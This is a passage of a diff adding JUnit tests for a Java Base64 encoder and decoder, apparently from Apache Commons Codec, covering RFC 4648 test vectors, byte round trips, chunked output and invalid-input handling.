+                                .encodeBase64Chunked("blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah"
+                                        .getBytes())));
+        assertEquals("SXQgd2FzIHRoZSBiZXN0IG9mIHRpbWVzLCBpdCB3YXMgdGhlIHdvcnN0IG9mIHRpbWVzLg==", new String(Base64
+                .encodeBase64("It was the best of times, it was the worst of times.".getBytes())));
+        assertEquals("aHR0cDovL2pha2FydGEuYXBhY2hlLm9yZy9jb21tbW9ucw==", new String(Base64
+                .encodeBase64("http://jakarta.apache.org/commmons".getBytes())));
+        assertEquals("QWFCYkNjRGRFZUZmR2dIaElpSmpLa0xsTW1Obk9vUHBRcVJyU3NUdFV1VnZXd1h4WXlaeg==", new String(Base64
+                .encodeBase64("AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz".getBytes())));
+        assertEquals("eyAwLCAxLCAyLCAzLCA0LCA1LCA2LCA3LCA4LCA5IH0=", new String(Base64.encodeBase64("{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }"
+                .getBytes())));
+        assertEquals("eHl6enkh", new String(Base64.encodeBase64("xyzzy!".getBytes())));
+    }
+
+    public void testNonBase64Test() throws Exception {
+
+        byte[] bArray = {'%'};
+
+        assertFalse("Invalid Base64 array was incorrectly validated as " + "an array of Base64 encoded data", Base64
+                .isArrayByteBase64(bArray));
+
+        try {
+            Base64 b64 = new Base64();
+            byte[] result = b64.decode(bArray);
+
+            assertTrue("The result should be empty as the test encoded content did " + "not contain any valid base 64 characters",
+                    result.length == 0);
+        } catch (Exception e) {
+            fail("Exception was thrown when trying to decode "
+                + "invalid base64 encoded data - RFC 2045 requires that all "
+                + "non base64 character be discarded, an exception should not"
+                + " have been thrown");
+        }
+    }
+
+    public void testObjectDecodeWithInvalidParameter() throws Exception {
+        Base64 b64 = new Base64();
+
+        try {
+            b64.decode(new Integer(5));
+            fail("decode(Object) didn't throw an exception when passed an Integer object");
+        } catch (DecoderException e) {
+            // ignored
+        }
+
+    }
+
+    public void testObjectDecodeWithValidParameter() throws Exception {
+
+        String original = "Hello World!";
+        Object o = Base64.encodeBase64(original.getBytes());
+
+        Base64 b64 = new Base64();
+        Object oDecoded = b64.decode(o);
+        byte[] baDecoded = (byte[]) oDecoded;
+        String dest = new String(baDecoded);
+
+        assertTrue("dest string does not equal original", dest.equals(original));
+    }
+
+    public void testObjectEncodeWithInvalidParameter() throws Exception {
+        Base64 b64 = new Base64();
+        try {
+            b64.encode("Yadayadayada");
+            fail("encode(Object) didn't throw an exception when passed a String object");
+        } catch (EncoderException e) {
+            // Expected
+        }
+    }
+
+    public void testObjectEncodeWithValidParameter() throws Exception {
+
+        String original = "Hello World!";
+        Object origObj = original.getBytes();
+
+        Base64 b64 = new Base64();
+        Object oEncoded = b64.encode(origObj);
+        byte[] bArray = Base64.decodeBase64((byte[]) oEncoded);
+        String dest = new String(bArray);
+
+        assertTrue("dest string does not equal original", dest.equals(original));
+    }
+
+    public void testObjectEncode() throws Exception {
+        Base64 b64 = new Base64();
+        assertEquals("SGVsbG8gV29ybGQ=", new String(b64.encode("Hello World".getBytes("UTF-8"))));
+    }
+
+    public void testPairs() {
+        assertEquals("AAA=", new String(Base64.encodeBase64(new byte[]{0, 0})));
+        for (int i = -128; i <= 127; i++) {
+            byte test[] = {(byte) i, (byte) i};
+            assertTrue(Arrays.equals(test, Base64.decodeBase64(Base64.encodeBase64(test))));
+        }
+    }
+
+    /**
+     * Tests RFC 2045 section 2.1 CRLF definition.
+     */
+    public void testRfc2045Section2Dot1CrLfDefinition() {
+        assertTrue(Arrays.equals(new byte[]{13, 10}, Base64.CHUNK_SEPARATOR));
+    }
+
+    /**
+     * Tests RFC 2045 section 6.8 chuck size definition.
+     */
+    public void testRfc2045Section6Dot8ChunkSizeDefinition() {
+        assertEquals(76, Base64.MIME_CHUNK_SIZE);
+    }
+
+    /**
+     * Tests RFC 1421 section 4.3.2.4 chuck size definition.
+     */
+    public void testRfc1421Section6Dot8ChunkSizeDefinition() {
+        assertEquals(64, Base64.PEM_CHUNK_SIZE);
+    }
+
+    /**
+     * Tests RFC 4648 section 10 test vectors.
+     * <ul>
+     * <li>BASE64("") = ""</li>
+     * <li>BASE64("f") = "Zg=="</li>
+     * <li>BASE64("fo") = "Zm8="</li>
+     * <li>BASE64("foo") = "Zm9v"</li>
+     * <li>BASE64("foob") = "Zm9vYg=="</li>
+     * <li>BASE64("fooba") = "Zm9vYmE="</li>
+     * <li>BASE64("foobar") = "Zm9vYmFy"</li>
+     * </ul>
+     * 
+     * @see <a href="http://tools.ietf.org/html/rfc4648">http://tools.ietf.org/html/rfc4648</a>
+     */
+    public void testRfc4648Section10Decode() {
+        assertEquals("", StringUtils.newStringUsAscii(Base64.decodeBase64("")));
+        assertEquals("f", StringUtils.newStringUsAscii(Base64.decodeBase64("Zg==")));
+        assertEquals("fo", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm8=")));
+        assertEquals("foo", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9v")));
+        assertEquals("foob", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYg==")));
+        assertEquals("fooba", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYmE=")));
+        assertEquals("foobar", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYmFy")));
+    }
+    
+    /**
+     * Tests RFC 4648 section 10 test vectors.
+     * <ul>
+     * <li>BASE64("") = ""</li>
+     * <li>BASE64("f") = "Zg=="</li>
+     * <li>BASE64("fo") = "Zm8="</li>
+     * <li>BASE64("foo") = "Zm9v"</li>
+     * <li>BASE64("foob") = "Zm9vYg=="</li>
+     * <li>BASE64("fooba") = "Zm9vYmE="</li>
+     * <li>BASE64("foobar") = "Zm9vYmFy"</li>
+     * </ul>
+     * 
+     * @see <a href="http://tools.ietf.org/html/rfc4648">http://tools.ietf.org/html/rfc4648</a>
+     */
+    public void testRfc4648Section10DecodeWithCrLf() {
+        String CRLF = StringUtils.newStringUsAscii(Base64.CHUNK_SEPARATOR);
+        assertEquals("", StringUtils.newStringUsAscii(Base64.decodeBase64("" + CRLF)));
+        assertEquals("f", StringUtils.newStringUsAscii(Base64.decodeBase64("Zg==" + CRLF)));
+        assertEquals("fo", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm8=" + CRLF)));
+        assertEquals("foo", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9v" + CRLF)));
+        assertEquals("foob", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYg==" + CRLF)));
+        assertEquals("fooba", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYmE=" + CRLF)));
+        assertEquals("foobar", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYmFy" + CRLF)));
+    }
+    
+    /**
+     * Tests RFC 4648 section 10 test vectors.
+     * <ul>
+     * <li>BASE64("") = ""</li>
+     * <li>BASE64("f") = "Zg=="</li>
+     * <li>BASE64("fo") = "Zm8="</li>
+     * <li>BASE64("foo") = "Zm9v"</li>
+     * <li>BASE64("foob") = "Zm9vYg=="</li>
+     * <li>BASE64("fooba") = "Zm9vYmE="</li>
+     * <li>BASE64("foobar") = "Zm9vYmFy"</li>
+     * </ul>
+     * 
+     * @see <a href="http://tools.ietf.org/html/rfc4648">http://tools.ietf.org/html/rfc4648</a>
+     */
+    public void testRfc4648Section10Encode() {
+        assertEquals("", Base64.encodeBase64String(StringUtils.getBytesUtf8("")));
+        //assertEquals("Zg==", Base64.encodeBase64String(StringUtils.getBytesUtf8("f")));
+        //assertEquals("Zm8=", Base64.encodeBase64String(StringUtils.getBytesUtf8("fo")));
+        //assertEquals("Zm9v", Base64.encodeBase64String(StringUtils.getBytesUtf8("foo")));
+        //assertEquals("Zm9vYg==", Base64.encodeBase64String(StringUtils.getBytesUtf8("foob")));
+        //assertEquals("Zm9vYmE=", Base64.encodeBase64String(StringUtils.getBytesUtf8("fooba")));
+        //assertEquals("Zm9vYmFy", Base64.encodeBase64String(StringUtils.getBytesUtf8("foobar")));
+    }
+    
+    /**
+     * Tests RFC 4648 section 10 test vectors.
+     * <ul>
+     * <li>BASE64("") = ""</li>
+     * <li>BASE64("f") = "Zg=="</li>
+     * <li>BASE64("fo") = "Zm8="</li>
+     * <li>BASE64("foo") = "Zm9v"</li>
+     * <li>BASE64("foob") = "Zm9vYg=="</li>
+     * <li>BASE64("fooba") = "Zm9vYmE="</li>
+     * <li>BASE64("foobar") = "Zm9vYmFy"</li>
+     * </ul>
+     * 
+     * @see <a href="http://tools.ietf.org/html/rfc4648">http://tools.ietf.org/html/rfc4648</a>
+     */
+    public void testRfc4648Section10DecodeEncode() {
+        testDecodeEncode("");
+        //testDecodeEncode("Zg==");
+        //testDecodeEncode("Zm8=");
+        //testDecodeEncode("Zm9v");
+        //testDecodeEncode("Zm9vYg==");
+        //testDecodeEncode("Zm9vYmE=");
+        //testDecodeEncode("Zm9vYmFy");
+    }
+    
+    private void testDecodeEncode(String encodedText) {
+        String decodedText = StringUtils.newStringUsAscii(Base64.decodeBase64(encodedText));
+        String encodedText2 = Base64.encodeBase64String(StringUtils.getBytesUtf8(decodedText));
+        assertEquals(encodedText, encodedText2);
+    }
+
+    /**
+     * Tests RFC 4648 section 10 test vectors.
+     * <ul>
+     * <li>BASE64("") = ""</li>
+     * <li>BASE64("f") = "Zg=="</li>
+     * <li>BASE64("fo") = "Zm8="</li>
+     * <li>BASE64("foo") = "Zm9v"</li>
+     * <li>BASE64("foob") = "Zm9vYg=="</li>
+     * <li>BASE64("fooba") = "Zm9vYmE="</li>
+     * <li>BASE64("foobar") = "Zm9vYmFy"</li>
+     * </ul>
+     * 
+     * @see <a href="http://tools.ietf.org/html/rfc4648">http://tools.ietf.org/html/rfc4648</a>
+     */
+    public void testRfc4648Section10EncodeDecode() {
+        testEncodeDecode("");
+        testEncodeDecode("f");
+        testEncodeDecode("fo");
+        testEncodeDecode("foo");
+        testEncodeDecode("foob");
+        testEncodeDecode("fooba");
+        testEncodeDecode("foobar");
+    }
+    
+    private void testEncodeDecode(String plainText) {
+        String encodedText = Base64.encodeBase64String(StringUtils.getBytesUtf8(plainText));
+        String decodedText = StringUtils.newStringUsAscii(Base64.decodeBase64(encodedText));
+        assertEquals(plainText, decodedText);
+    }
+    
+    public void testSingletons() {
+        assertEquals("AA==", new String(Base64.encodeBase64(new byte[]{(byte) 0})));
+        assertEquals("AQ==", new String(Base64.encodeBase64(new byte[]{(byte) 1})));
+        assertEquals("Ag==", new String(Base64.encodeBase64(new byte[]{(byte) 2})));
+        assertEquals("Aw==", new String(Base64.encodeBase64(new byte[]{(byte) 3})));
+        assertEquals("BA==", new String(Base64.encodeBase64(new byte[]{(byte) 4})));
+        assertEquals("BQ==", new String(Base64.encodeBase64(new byte[]{(byte) 5})));
+        assertEquals("Bg==", new String(Base64.encodeBase64(new byte[]{(byte) 6})));
+        assertEquals("Bw==", new String(Base64.encodeBase64(new byte[]{(byte) 7})));
+        assertEquals("CA==", new String(Base64.encodeBase64(new byte[]{(byte) 8})));
+        assertEquals("CQ==", new String(Base64.encodeBase64(new byte[]{(byte) 9})));
+        assertEquals("Cg==", new String(Base64.encodeBase64(new byte[]{(byte) 10})));
+        assertEquals("Cw==", new String(Base64.encodeBase64(new byte[]{(byte) 11})));
+        assertEquals("DA==", new String(Base64.encodeBase64(new byte[]{(byte) 12})));
+        assertEquals("DQ==", new String(Base64.encodeBase64(new byte[]{(byte) 13})));
+        assertEquals("Dg==", new String(Base64.encodeBase64(new byte[]{(byte) 14})));
+        assertEquals("Dw==", new String(Base64.encodeBase64(new byte[]{(byte) 15})));
+        assertEquals("EA==", new String(Base64.encodeBase64(new byte[]{(byte) 16})));
+        assertEquals("EQ==", new String(Base64.encodeBase64(new byte[]{(byte) 17})));
+        assertEquals("Eg==", new String(Base64.encodeBase64(new byte[]{(byte) 18})));
+        assertEquals("Ew==", new String(Base64.encodeBase64(new byte[]{(byte) 19})));
+        assertEquals("FA==", new String(Base64.encodeBase64(new byte[]{(byte) 20})));
+        assertEquals("FQ==", new String(Base64.encodeBase64(new byte[]{(byte) 21})));
+        assertEquals("Fg==", new String(Base64.encodeBase64(new byte[]{(byte) 22})));
+        assertEquals("Fw==", new String(Base64.encodeBase64(new byte[]{(byte) 23})));
+        assertEquals("GA==", new String(Base64.encodeBase64(new byte[]{(byte) 24})));
+        assertEquals("GQ==", new String(Base64.encodeBase64(new byte[]{(byte) 25})));
+        assertEquals("Gg==", new String(Base64.encodeBase64(new byte[]{(byte) 26})));
+        assertEquals("Gw==", new String(Base64.encodeBase64(new byte[]{(byte) 27})));
+        assertEquals("HA==", new String(Base64.encodeBase64(new byte[]{(byte) 28})));
+        assertEquals("HQ==", new String(Base64.encodeBase64(new byte[]{(byte) 29})));
+        assertEquals("Hg==", new String(Base64.encodeBase64(new byte[]{(byte) 30})));
+        assertEquals("Hw==", new String(Base64.encodeBase64(new byte[]{(byte) 31})));
+        assertEquals("IA==", new String(Base64.encodeBase64(new byte[]{(byte) 32})));
+        assertEquals("IQ==", new String(Base64.encodeBase64(new byte[]{(byte) 33})));
+        assertEquals("Ig==", new String(Base64.encodeBase64(new byte[]{(byte) 34})));
+        assertEquals("Iw==", new String(Base64.encodeBase64(new byte[]{(byte) 35})));
+        assertEquals("JA==", new String(Base64.encodeBase64(new byte[]{(byte) 36})));
+        assertEquals("JQ==", new String(Base64.encodeBase64(new byte[]{(byte) 37})));
+        assertEquals("Jg==", new String(Base64.encodeBase64(new byte[]{(byte) 38})));
+        assertEquals("Jw==", new String(Base64.encodeBase64(new byte[]{(byte) 39})));
+        assertEquals("KA==", new String(Base64.encodeBase64(new byte[]{(byte) 40})));
+        assertEquals("KQ==", new String(Base64.encodeBase64(new byte[]{(byte) 41})));
+        assertEquals("Kg==", new String(Base64.encodeBase64(new byte[]{(byte) 42})));
+        assertEquals("Kw==", new String(Base64.encodeBase64(new byte[]{(byte) 43})));
+        assertEquals("LA==", new String(Base64.encodeBase64(new byte[]{(byte) 44})));
+        assertEquals("LQ==", new String(Base64.encodeBase64(new byte[]{(byte) 45})));
+        assertEquals("Lg==", new String(Base64.encodeBase64(new byte[]{(byte) 46})));
+        assertEquals("Lw==", new String(Base64.encodeBase64(new byte[]{(byte) 47})));
+        assertEquals("MA==", new String(Base64.encodeBase64(new byte[]{(byte) 48})));
+        assertEquals("MQ==", new String(Base64.encodeBase64(new byte[]{(byte) 49})));
+        assertEquals("Mg==", new String(Base64.encodeBase64(new byte[]{(byte) 50})));
+        assertEquals("Mw==", new String(Base64.encodeBase64(new byte[]{(byte) 51})));
+        assertEquals("NA==", new String(Base64.encodeBase64(new byte[]{(byte) 52})));
+        assertEquals("NQ==", new String(Base64.encodeBase64(new byte[]{(byte) 53})));
+        assertEquals("Ng==", new String(Base64.encodeBase64(new byte[]{(byte) 54})));
+        assertEquals("Nw==", new String(Base64.encodeBase64(new byte[]{(byte) 55})));
+        assertEquals("OA==", new String(Base64.encodeBase64(new byte[]{(byte) 56})));
+        assertEquals("OQ==", new String(Base64.encodeBase64(new byte[]{(byte) 57})));
+        assertEquals("Og==", new String(Base64.encodeBase64(new byte[]{(byte) 58})));
+        assertEquals("Ow==", new String(Base64.encodeBase64(new byte[]{(byte) 59})));
+        assertEquals("PA==", new String(Base64.encodeBase64(new byte[]{(byte) 60})));
+        assertEquals("PQ==", new String(Base64.encodeBase64(new byte[]{(byte) 61})));
+        assertEquals("Pg==", new String(Base64.encodeBase64(new byte[]{(byte) 62})));
+        assertEquals("Pw==", new String(Base64.encodeBase64(new byte[]{(byte) 63})));
+        assertEquals("QA==", new String(Base64.encodeBase64(new byte[]{(byte) 64})));
+        assertEquals("QQ==", new String(Base64.encodeBase64(new byte[]{(byte) 65})));
+        assertEquals("Qg==", new String(Base64.encodeBase64(new byte[]{(byte) 66})));
+        assertEquals("Qw==", new String(Base64.encodeBase64(new byte[]{(byte) 67})));
+        assertEquals("RA==", new String(Base64.encodeBase64(new byte[]{(byte) 68})));
+        assertEquals("RQ==", new String(Base64.encodeBase64(new byte[]{(byte) 69})));
+        assertEquals("Rg==", new String(Base64.encodeBase64(new byte[]{(byte) 70})));
+        assertEquals("Rw==", new String(Base64.encodeBase64(new byte[]{(byte) 71})));
+        assertEquals("SA==", new String(Base64.encodeBase64(new byte[]{(byte) 72})));
+        assertEquals("SQ==", new String(Base64.encodeBase64(new byte[]{(byte) 73})));
+        assertEquals("Sg==", new String(Base64.encodeBase64(new byte[]{(byte) 74})));
+        assertEquals("Sw==", new String(Base64.encodeBase64(new byte[]{(byte) 75})));
+        assertEquals("TA==", new String(Base64.encodeBase64(new byte[]{(byte) 76})));
+        assertEquals("TQ==", new String(Base64.encodeBase64(new byte[]{(byte) 77})));
+        assertEquals("Tg==", new String(Base64.encodeBase64(new byte[]{(byte) 78})));
+        assertEquals("Tw==", new String(Base64.encodeBase64(new byte[]{(byte) 79})));
+        assertEquals("UA==", new String(Base64.encodeBase64(new byte[]{(byte) 80})));
+        assertEquals("UQ==", new String(Base64.encodeBase64(new byte[]{(byte) 81})));
+        assertEquals("Ug==", new String(Base64.encodeBase64(new byte[]{(byte) 82})));
+        assertEquals("Uw==", new String(Base64.encodeBase64(new byte[]{(byte) 83})));
+        assertEquals("VA==", new String(Base64.encodeBase64(new byte[]{(byte) 84})));
+        assertEquals("VQ==", new String(Base64.encodeBase64(new byte[]{(byte) 85})));
+        assertEquals("Vg==", new String(Base64.encodeBase64(new byte[]{(byte) 86})));
+        assertEquals("Vw==", new String(Base64.encodeBase64(new byte[]{(byte) 87})));
+        assertEquals("WA==", new String(Base64.encodeBase64(new byte[]{(byte) 88})));
+        assertEquals("WQ==", new String(Base64.encodeBase64(new byte[]{(byte) 89})));
+        assertEquals("Wg==", new String(Base64.encodeBase64(new byte[]{(byte) 90})));
+        assertEquals("Ww==", new String(Base64.encodeBase64(new byte[]{(byte) 91})));
+        assertEquals("XA==", new String(Base64.encodeBase64(new byte[]{(byte) 92})));
+        assertEquals("XQ==", new String(Base64.encodeBase64(new byte[]{(byte) 93})));
+        assertEquals("Xg==", new String(Base64.encodeBase64(new byte[]{(byte) 94})));
+        assertEquals("Xw==", new String(Base64.encodeBase64(new byte[]{(byte) 95})));
+        assertEquals("YA==", new String(Base64.encodeBase64(new byte[]{(byte) 96})));
+        assertEquals("YQ==", new String(Base64.encodeBase64(new byte[]{(byte) 97})));
+        assertEquals("Yg==", new String(Base64.encodeBase64(new byte[]{(byte) 98})));
+        assertEquals("Yw==", new String(Base64.encodeBase64(new byte[]{(byte) 99})));
+        assertEquals("ZA==", new String(Base64.encodeBase64(new byte[]{(byte) 100})));
+        assertEquals("ZQ==", new String(Base64.encodeBase64(new byte[]{(byte) 101})));
+        assertEquals("Zg==", new String(Base64.encodeBase64(new byte[]{(byte) 102})));
+        assertEquals("Zw==", new String(Base64.encodeBase64(new byte[]{(byte) 103})));
+        assertEquals("aA==", new String(Base64.encodeBase64(new byte[]{(byte) 104})));
+        for (int i = -128; i <= 127; i++) {
+            byte test[] = {(byte) i};
+            assertTrue(Arrays.equals(test, Base64.decodeBase64(Base64.encodeBase64(test))));
+        }
+    }
+
+    public void testSingletonsChunked() {
+        assertEquals("AA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0})));
+        assertEquals("AQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 1})));
+        assertEquals("Ag==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 2})));
+        assertEquals("Aw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 3})));
+        assertEquals("BA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 4})));
+        assertEquals("BQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 5})));
+        assertEquals("Bg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 6})));
+        assertEquals("Bw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 7})));
+        assertEquals("CA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 8})));
+        assertEquals("CQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 9})));
+        assertEquals("Cg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 10})));
+        assertEquals("Cw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 11})));
+        assertEquals("DA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 12})));
+        assertEquals("DQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 13})));
+        assertEquals("Dg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 14})));
+        assertEquals("Dw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 15})));
+        assertEquals("EA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 16})));
+        assertEquals("EQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 17})));
+        assertEquals("Eg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 18})));
+        assertEquals("Ew==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 19})));
+        assertEquals("FA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 20})));
+        assertEquals("FQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 21})));
+        assertEquals("Fg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 22})));
+        assertEquals("Fw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 23})));
+        assertEquals("GA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 24})));
+        assertEquals("GQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 25})));
+        assertEquals("Gg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 26})));
+        assertEquals("Gw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 27})));
+        assertEquals("HA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 28})));
+        assertEquals("HQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 29})));
+        assertEquals("Hg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 30})));
+        assertEquals("Hw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 31})));
+        assertEquals("IA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 32})));
+        assertEquals("IQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 33})));
+        assertEquals("Ig==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 34})));
+        assertEquals("Iw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 35})));
+        assertEquals("JA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 36})));
+        assertEquals("JQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 37})));
+        assertEquals("Jg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 38})));
+        assertEquals("Jw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 39})));
+        assertEquals("KA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 40})));
+        assertEquals("KQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 41})));
+        assertEquals("Kg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 42})));
+        assertEquals("Kw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 43})));
+        assertEquals("LA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 44})));
+        assertEquals("LQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 45})));
+        assertEquals("Lg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 46})));
+        assertEquals("Lw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 47})));
+        assertEquals("MA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 48})));
+        assertEquals("MQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 49})));
+        assertEquals("Mg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 50})));
+        assertEquals("Mw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 51})));
+        assertEquals("NA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 52})));
+        assertEquals("NQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 53})));
+        assertEquals("Ng==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 54})));
+        assertEquals("Nw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 55})));
+        assertEquals("OA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 56})));
+        assertEquals("OQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 57})));
+        assertEquals("Og==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 58})));
+        assertEquals("Ow==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 59})));
+        assertEquals("PA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 60})));
+        assertEquals("PQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 61})));
+        assertEquals("Pg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 62})));
+        assertEquals("Pw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 63})));
+        assertEquals("QA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 64})));
+        assertEquals("QQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 65})));
+        assertEquals("Qg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 66})));
+        assertEquals("Qw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 67})));
+        assertEquals("RA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 68})));
+        assertEquals("RQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 69})));
+        assertEquals("Rg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 70})));
+        assertEquals("Rw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 71})));
+        assertEquals("SA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 72})));
+        assertEquals("SQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 73})));
+        assertEquals("Sg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 74})));
+        assertEquals("Sw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 75})));
+        assertEquals("TA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 76})));
+        assertEquals("TQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 77})));
+        assertEquals("Tg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 78})));
+        assertEquals("Tw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 79})));
+        assertEquals("UA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 80})));
+        assertEquals("UQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 81})));
+        assertEquals("Ug==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 82})));
+        assertEquals("Uw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 83})));
+        assertEquals("VA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 84})));
+        assertEquals("VQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 85})));
+        assertEquals("Vg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 86})));
+        assertEquals("Vw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 87})));
+        assertEquals("WA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 88})));
+        assertEquals("WQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 89})));
+        assertEquals("Wg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 90})));
+        assertEquals("Ww==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 91})));
+        assertEquals("XA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 92})));
+        assertEquals("XQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 93})));
+        assertEquals("Xg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 94})));
+        assertEquals("Xw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 95})));
+        assertEquals("YA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 96})));
+        assertEquals("YQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 97})));
+        assertEquals("Yg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 98})));
+        assertEquals("Yw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 99})));
+        assertEquals("ZA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 100})));
+        assertEquals("ZQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 101})));
+        assertEquals("Zg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 102})));
+        assertEquals("Zw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 103})));
+        assertEquals("aA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 104})));
+    }
+
+    public void testTriplets() {
